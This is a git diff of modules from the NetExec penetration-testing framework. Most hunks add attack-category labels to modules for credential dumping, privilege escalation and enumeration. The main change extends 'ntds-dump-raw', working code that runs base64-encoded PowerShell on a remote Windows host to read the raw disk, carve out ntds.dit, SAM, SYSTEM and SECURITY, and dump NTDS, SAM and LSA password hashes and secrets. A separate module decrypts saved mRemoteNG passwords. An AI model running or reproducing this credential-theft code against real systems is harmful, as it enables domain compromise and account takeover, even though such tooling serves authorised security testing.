||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
@@ -32,7 +34,7 @@ class NXCModule:
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
|
||||
+11
-10
@@ -5,7 +5,7 @@ from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@@ -26,6 +26,7 @@ class NXCModule:
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.false_positive = (
|
||||
@@ -42,7 +43,7 @@ class NXCModule:
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
]
|
||||
|
||||
|
||||
self.custom_user_path = [
|
||||
"Users\\{username}\\Desktop",
|
||||
"Users\\{username}\\Documents",
|
||||
@@ -57,7 +58,7 @@ class NXCModule:
|
||||
CUSTOM_PATH Custom path to confCons.xml file
|
||||
"""
|
||||
self.context = context
|
||||
|
||||
|
||||
self.password = "mR3m"
|
||||
if "PASSWORD" in module_options:
|
||||
self.password = module_options["PASSWORD"]
|
||||
@@ -119,7 +120,7 @@ class NXCModule:
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
@@ -130,7 +131,7 @@ class NXCModule:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -139,7 +140,7 @@ class NXCModule:
|
||||
encryption_engine=main.attrib["EncryptionEngine"],
|
||||
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
|
||||
)
|
||||
|
||||
|
||||
for node_attribute in self.parse_xml_nodes(main):
|
||||
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
|
||||
if password == b"":
|
||||
@@ -150,7 +151,7 @@ class NXCModule:
|
||||
username = node_attribute["Username"]
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
@@ -163,7 +164,7 @@ class NXCModule:
|
||||
nodes.append(node.attrib)
|
||||
nodes = nodes + self.parse_xml_nodes(node)
|
||||
return nodes
|
||||
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
if directory_list is not None:
|
||||
@@ -179,7 +180,7 @@ class NXCModule:
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
encrypted_password = b64decode(encrypted_password)
|
||||
if encrypted_password == b"":
|
||||
@@ -203,4 +204,4 @@ class NXCModule:
|
||||
cipher.update(associated_data)
|
||||
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
|
||||
else:
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
|
||||
@@ -5,6 +5,7 @@
|
||||
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
|
||||
import socket
|
||||
import struct
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
@@ -54,6 +55,7 @@ class NXCModule:
|
||||
name = "ms17-010"
|
||||
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
# Fully rewritten by @NeffIsBack
|
||||
from base64 import b64encode
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
@@ -11,6 +12,7 @@ class NXCModule:
|
||||
name = "msol"
|
||||
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Execute arbitrary SQL commands on the target MSSQL server"""
|
||||
"""Made by @lodos2005"""
|
||||
|
||||
name = "mssql_coerce"
|
||||
description = "Execute arbitrary SQL commands on the target MSSQL server"
|
||||
description = "Execute SQL commands To interact with a specified LISTENER for coercion/exfiltration"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
# Author:
|
||||
# Romain de Reydellet (@pentest_soka)
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class User:
|
||||
@@ -23,6 +24,7 @@ class NXCModule:
|
||||
name = "mssql_priv"
|
||||
description = "Enumerate and exploit MSSQL privileges"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.admin_privs = None
|
||||
|
||||
@@ -9,6 +9,7 @@ from pypykatz.pypykatz import pypykatz
|
||||
import tempfile
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
|
||||
@@ -16,6 +17,7 @@ class NXCModule:
|
||||
name = "nanodump"
|
||||
description = "Get lsass dump using nanodump and parse the result with pypykatz"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.connection = None
|
||||
|
||||
@@ -6,17 +6,23 @@ from binascii import unhexlify
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.types import Principal
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "nopac"
|
||||
description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if not connection.username:
|
||||
context.log.fail("Module requires a username to request TGTs")
|
||||
return
|
||||
|
||||
user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
try:
|
||||
tgt_with_pac, cipher, old_session_key, session_key = getKerberosTGT(
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -11,6 +12,7 @@ class NXCModule:
|
||||
name = "notepad++"
|
||||
description = "Extracts notepad++ unsaved files."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -30,10 +32,10 @@ class NXCModule:
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
file_content = buf.read().decode("utf-8", errors="ignore").lower()
|
||||
file_content = buf.read().decode("utf-8", errors="ignore").lower()
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
context.log.highlight(f"\t{line}")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
|
||||
export_path = join(NXC_PATH, "modules", "notepad++")
|
||||
path = abspath(join(export_path, filename))
|
||||
|
||||
@@ -3,6 +3,7 @@ from os import makedirs
|
||||
from os.path import join, abspath
|
||||
import re
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
@@ -28,6 +29,7 @@ class NXCModule:
|
||||
name = "notepad"
|
||||
description = "Extracts content from Windows Notepad tab state binary files."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None):
|
||||
self.context = context
|
||||
@@ -191,4 +193,4 @@ class NXCModule:
|
||||
else:
|
||||
return es
|
||||
else:
|
||||
return str(exception)
|
||||
return str(exception)
|
||||
+176
-130
@@ -10,24 +10,19 @@ from dataclasses import dataclass, field
|
||||
import random
|
||||
import gzip
|
||||
from io import BytesIO
|
||||
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes
|
||||
from nxc.helpers.misc import validate_ntlm
|
||||
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes, LSASecrets
|
||||
from nxc.helpers.misc import CATEGORY, validate_ntlm
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ntds-dump-raw"
|
||||
description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive."
|
||||
supported_protocols = ["smb", "wmi", "winrm"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
files_full_location_to_extract = [
|
||||
"Windows/System32/config/SYSTEM",
|
||||
"Windows/System32/config/SAM",
|
||||
"Windows/NTDS/ntds.dit",
|
||||
]
|
||||
files_to_extract = [c_filename.split("/")[-1] for c_filename in files_full_location_to_extract]
|
||||
number_of_file_to_extract = len(files_to_extract)
|
||||
extracted_files_location_local = {"SAM": "", "SYSTEM": "", "ntds.dit": ""}
|
||||
# Module constants
|
||||
NTFS_LOCATION = 0
|
||||
MFT_LOCATION = 0
|
||||
context = None
|
||||
@@ -83,7 +78,36 @@ class NXCModule:
|
||||
full_path: str = ""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
"""TARGET: Specify the source from which the hashes will be extracted [NTDS, SAM, LSA] or any combination of them
|
||||
Usage: nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=SAM
|
||||
nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=NTDS,LSA,SAM
|
||||
$IP can be a Domain Controller or a regular Windows machine.
|
||||
"""
|
||||
available_options = {
|
||||
"NTDS": "Windows/NTDS/ntds.dit",
|
||||
"LSA": "Windows/System32/config/SECURITY",
|
||||
"SAM": "Windows/System32/config/SAM"
|
||||
}
|
||||
self.files_full_location_to_extract = []
|
||||
if "TARGET" in module_options:
|
||||
selected_options = module_options["TARGET"].split(",")
|
||||
for option in selected_options:
|
||||
if option in available_options:
|
||||
self.files_full_location_to_extract.append(available_options[option])
|
||||
else:
|
||||
context.log.error(f"Uknown option format : {option}")
|
||||
sys.exit(1)
|
||||
else:
|
||||
self.files_full_location_to_extract.append(available_options["NTDS"])
|
||||
self.files_full_location_to_extract.append(available_options["SAM"])
|
||||
|
||||
# Add SYSTEM by default as needed for decryption
|
||||
self.files_full_location_to_extract.append("Windows/System32/config/SYSTEM")
|
||||
|
||||
# Prepare the files to extract
|
||||
self.files_to_extract = [c_filename.split("/")[-1] for c_filename in self.files_full_location_to_extract]
|
||||
self.number_of_file_to_extract = len(self.files_to_extract)
|
||||
self.extracted_files_location_local = dict.fromkeys(self.files_to_extract, "")
|
||||
|
||||
def read_from_disk(self, offset, size):
|
||||
"""Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target"""
|
||||
@@ -91,8 +115,10 @@ class NXCModule:
|
||||
# scary base64 powershell code :)
|
||||
# This to read the PhysicalDrive0 file
|
||||
get_data_script = f"""powershell.exe -c "$base64Cmd = '{self.ps_script_b64}';$decodedCmd = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64Cmd)) + '; read_disk {offset} {fixed_size}'; Invoke-Expression $decodedCmd" """
|
||||
if self.connection.__class__.__name__ == "wmi": # noqa: SIM108
|
||||
if self.connection.__class__.__name__ == "wmi":
|
||||
data_output = self.connection.execute_psh(get_data_script, True)
|
||||
elif self.connection.__class__.__name__ == "smb":
|
||||
data_output = self.execute(get_data_script, True, ["smbexec"])
|
||||
else:
|
||||
data_output = self.execute(get_data_script, True)
|
||||
self.logger.debug(f"{offset=},{size=},{fixed_size=}")
|
||||
@@ -118,7 +144,7 @@ class NXCModule:
|
||||
first_section = self.read_from_disk(0, 1024)
|
||||
if len(first_section) == 0:
|
||||
self.logger.fail("Unable to read the Disk, try changing the --exec-method flag")
|
||||
if first_section[512 : 512 + 8] == b"EFI PART":
|
||||
if first_section[512: 512 + 8] == b"EFI PART":
|
||||
self.logger.display("Disk is formated using GPT")
|
||||
NTFS_LOCATION = self.analyze_gpt("\\\\.\\PhysicalDrive0")
|
||||
if NTFS_LOCATION == -1:
|
||||
@@ -128,10 +154,10 @@ class NXCModule:
|
||||
max_parition_size = 0
|
||||
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6:0x1CA]) * self.SECTOR_SIZE
|
||||
for partition_indx in range(4):
|
||||
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10) : 0x1CE + (partition_indx * 0x10)])
|
||||
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10): 0x1CE + (partition_indx * 0x10)])
|
||||
if curr_partition_size > max_parition_size:
|
||||
max_parition_size = curr_partition_size
|
||||
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10) : 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
|
||||
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10): 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
|
||||
|
||||
self.logger.display(f"NTFS Location {hex(NTFS_LOCATION)}")
|
||||
self.NTFS_LOCATION = NTFS_LOCATION
|
||||
@@ -148,127 +174,147 @@ class NXCModule:
|
||||
self.read_MFT(MFT_file_header)
|
||||
|
||||
if self.number_of_file_to_extract != 0:
|
||||
self.logger.fail("Unable to find all needed files")
|
||||
return
|
||||
self.logger.fail("Unable to find all needed files, trying to work with what we have")
|
||||
|
||||
self.logger.success("Heads up, hashes on the way...")
|
||||
self.dump_ntds()
|
||||
if "SYSTEM" in self.extracted_files_location_local and self.extracted_files_location_local["SYSTEM"] != "":
|
||||
self.logger.success("Heads up, hashes on the way...")
|
||||
self.dump_hashes()
|
||||
else:
|
||||
self.logger.fail("SYSTEM file not found, unable to proceed with hash extraction")
|
||||
|
||||
def dump_ntds(self):
|
||||
def dump_hashes(self):
|
||||
"""Dumping NTDS and SAM hashes locally from the extracted files"""
|
||||
# Mostly from nxc/modules/ntdsutil.py
|
||||
local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"])
|
||||
boot_key = local_operations.getBootKey()
|
||||
no_lm_hash = local_operations.checkNoLMHashPolicy()
|
||||
|
||||
# SAM hashes
|
||||
def add_SAM_hash(SAM_hash, host_id):
|
||||
"""Extract SAM hashes"""
|
||||
add_SAM_hash.SAM_hashes += 1
|
||||
SAM_hash = SAM_hash.split(" ")[0]
|
||||
self.logger.highlight(SAM_hash)
|
||||
if SAM_hash.find("$") == -1:
|
||||
if SAM_hash.find("\\") != -1:
|
||||
domain, clean_hash = SAM_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = SAM_hash
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_SAM_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_SAM_hash.SAM_hashes = 0
|
||||
add_SAM_hash.added_to_db = 0
|
||||
|
||||
SAM = SAMHashes(
|
||||
self.extracted_files_location_local["SAM"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
|
||||
)
|
||||
|
||||
# NTDS
|
||||
def add_ntds_hash(ntds_hash, host_id):
|
||||
"""Extract NTDS hashes"""
|
||||
add_ntds_hash.ntds_hashes += 1
|
||||
ntds_hash = ntds_hash.split(" ")[0]
|
||||
self.logger.highlight(ntds_hash)
|
||||
if ntds_hash.find("$") == -1:
|
||||
if ntds_hash.find("\\") != -1:
|
||||
domain, clean_hash = ntds_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = ntds_hash
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_ntds_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_ntds_hash.ntds_hashes = 0
|
||||
add_ntds_hash.added_to_db = 0
|
||||
|
||||
# NTDS hashes
|
||||
NTDS = NTDSHashes(
|
||||
self.extracted_files_location_local["ntds.dit"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
history=False,
|
||||
noLMHash=no_lm_hash,
|
||||
remoteOps=None,
|
||||
useVSSMethod=True,
|
||||
justNTLM=True,
|
||||
pwdLastSet=False,
|
||||
resumeSession=None,
|
||||
outputFileName=self.output_filename,
|
||||
justUser=None,
|
||||
printUserStatus=True,
|
||||
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
|
||||
)
|
||||
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
|
||||
def add_ntds_hash(ntds_hash, host_id):
|
||||
"""Extract NTDS hashes"""
|
||||
add_ntds_hash.ntds_hashes += 1
|
||||
ntds_hash = ntds_hash.split(" ")[0]
|
||||
self.logger.highlight(ntds_hash)
|
||||
if ntds_hash.find("$") == -1:
|
||||
if ntds_hash.find("\\") != -1:
|
||||
domain, clean_hash = ntds_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = ntds_hash
|
||||
|
||||
try:
|
||||
self.logger.success("NTDS hashes:")
|
||||
NTDS.dump()
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_ntds_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
try:
|
||||
self.logger.success("SAM hashes:")
|
||||
SAM.dump()
|
||||
SAM.export(self.output_filename)
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
add_ntds_hash.ntds_hashes = 0
|
||||
add_ntds_hash.added_to_db = 0
|
||||
|
||||
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
|
||||
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
|
||||
NTDS = NTDSHashes(
|
||||
self.extracted_files_location_local["ntds.dit"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
history=False,
|
||||
noLMHash=no_lm_hash,
|
||||
remoteOps=None,
|
||||
useVSSMethod=True,
|
||||
justNTLM=True,
|
||||
pwdLastSet=False,
|
||||
resumeSession=None,
|
||||
outputFileName=self.output_filename,
|
||||
justUser=None,
|
||||
printUserStatus=True,
|
||||
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
|
||||
)
|
||||
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
|
||||
try:
|
||||
self.logger.success("NTDS hashes:")
|
||||
NTDS.dump()
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
SAM.finish()
|
||||
NTDS.finish()
|
||||
NTDS.finish()
|
||||
|
||||
# SAM hashes
|
||||
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
|
||||
def add_SAM_hash(SAM_hash, host_id):
|
||||
"""Extract SAM hashes"""
|
||||
add_SAM_hash.SAM_hashes += 1
|
||||
SAM_hash = SAM_hash.split(" ")[0]
|
||||
self.logger.highlight(SAM_hash)
|
||||
if SAM_hash.find("$") == -1:
|
||||
if SAM_hash.find("\\") != -1:
|
||||
domain, clean_hash = SAM_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = SAM_hash
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_SAM_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_SAM_hash.SAM_hashes = 0
|
||||
add_SAM_hash.added_to_db = 0
|
||||
|
||||
SAM = SAMHashes(
|
||||
self.extracted_files_location_local["SAM"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
|
||||
)
|
||||
try:
|
||||
self.logger.success("SAM hashes:")
|
||||
SAM.dump()
|
||||
SAM.export(self.output_filename)
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
SAM.finish()
|
||||
|
||||
# LSA
|
||||
if "SECURITY" in self.extracted_files_location_local and self.extracted_files_location_local["SECURITY"] != "":
|
||||
LSA = LSASecrets(
|
||||
self.extracted_files_location_local["SECURITY"],
|
||||
boot_key,
|
||||
remoteOps=None,
|
||||
isRemote=False,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret)
|
||||
)
|
||||
|
||||
try:
|
||||
self.logger.success("LSA Secrets:")
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
|
||||
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
|
||||
|
||||
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
|
||||
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
|
||||
|
||||
def analyze_NTFS(self, ntfs_header):
|
||||
"""Decode the NTFS headers and extract needed infromation from it"""
|
||||
ntfs_header = ntfs_header[0xB : 0xB + 25 + 48]
|
||||
ntfs_header = ntfs_header[0xB: 0xB + 25 + 48]
|
||||
header_format = "<HBH3BHBHHHIIIQQQIB3BQI"
|
||||
|
||||
data = struct.unpack(header_format, ntfs_header)
|
||||
@@ -316,7 +362,7 @@ class NXCModule:
|
||||
"""Analyze the current MFT records and extract the targeted files if they are present"""
|
||||
MFT_record_indx = 0
|
||||
for curr_record_indx in range(len(curr_data) // 1024):
|
||||
curr_sector = curr_data[curr_record_indx * 1024 : curr_record_indx * 1024 + 1024]
|
||||
curr_sector = curr_data[curr_record_indx * 1024: curr_record_indx * 1024 + 1024]
|
||||
try:
|
||||
curr_MFA_sector_properties = self.analyze_MFT_header(curr_sector)
|
||||
if curr_MFA_sector_properties is None or curr_MFA_sector_properties.filename is None:
|
||||
@@ -431,9 +477,9 @@ class NXCModule:
|
||||
dataRun_len_nBytes = (dataRun[curr_datarun_indx] & 0b11110000) >> 4
|
||||
curr_datarun_indx += 1
|
||||
|
||||
dataRun_len = dataRun[curr_datarun_indx : curr_datarun_indx + dataRun_startingCluster_nBytes]
|
||||
dataRun_len = dataRun[curr_datarun_indx: curr_datarun_indx + dataRun_startingCluster_nBytes]
|
||||
dataRun_len = int.from_bytes(dataRun_len, byteorder="little", signed=False)
|
||||
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes : curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
|
||||
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes: curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
|
||||
|
||||
datarun_cluster_loc = int.from_bytes(datarun_startingCluster, byteorder="little", signed=True) + prev_datarun_loc
|
||||
|
||||
@@ -451,12 +497,12 @@ class NXCModule:
|
||||
parsed_header = {}
|
||||
|
||||
while True:
|
||||
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index : curr_index + 4])
|
||||
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index: curr_index + 4])
|
||||
if curr_header == 0xFFFFFFFF or curr_header is None:
|
||||
break
|
||||
|
||||
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4 : curr_index + 4 + 4])
|
||||
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index : curr_index + curr_header_len]
|
||||
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4: curr_index + 4 + 4])
|
||||
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index: curr_index + curr_header_len]
|
||||
curr_index = curr_index + curr_header_len
|
||||
|
||||
return parsed_header
|
||||
@@ -473,13 +519,13 @@ class NXCModule:
|
||||
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
|
||||
|
||||
if "$FILE_NAME" in parsed_header:
|
||||
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58 : 0x58 + 1])
|
||||
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18 : 0x18 + 3] + b"\x00")
|
||||
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
|
||||
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
|
||||
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2 : 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
|
||||
|
||||
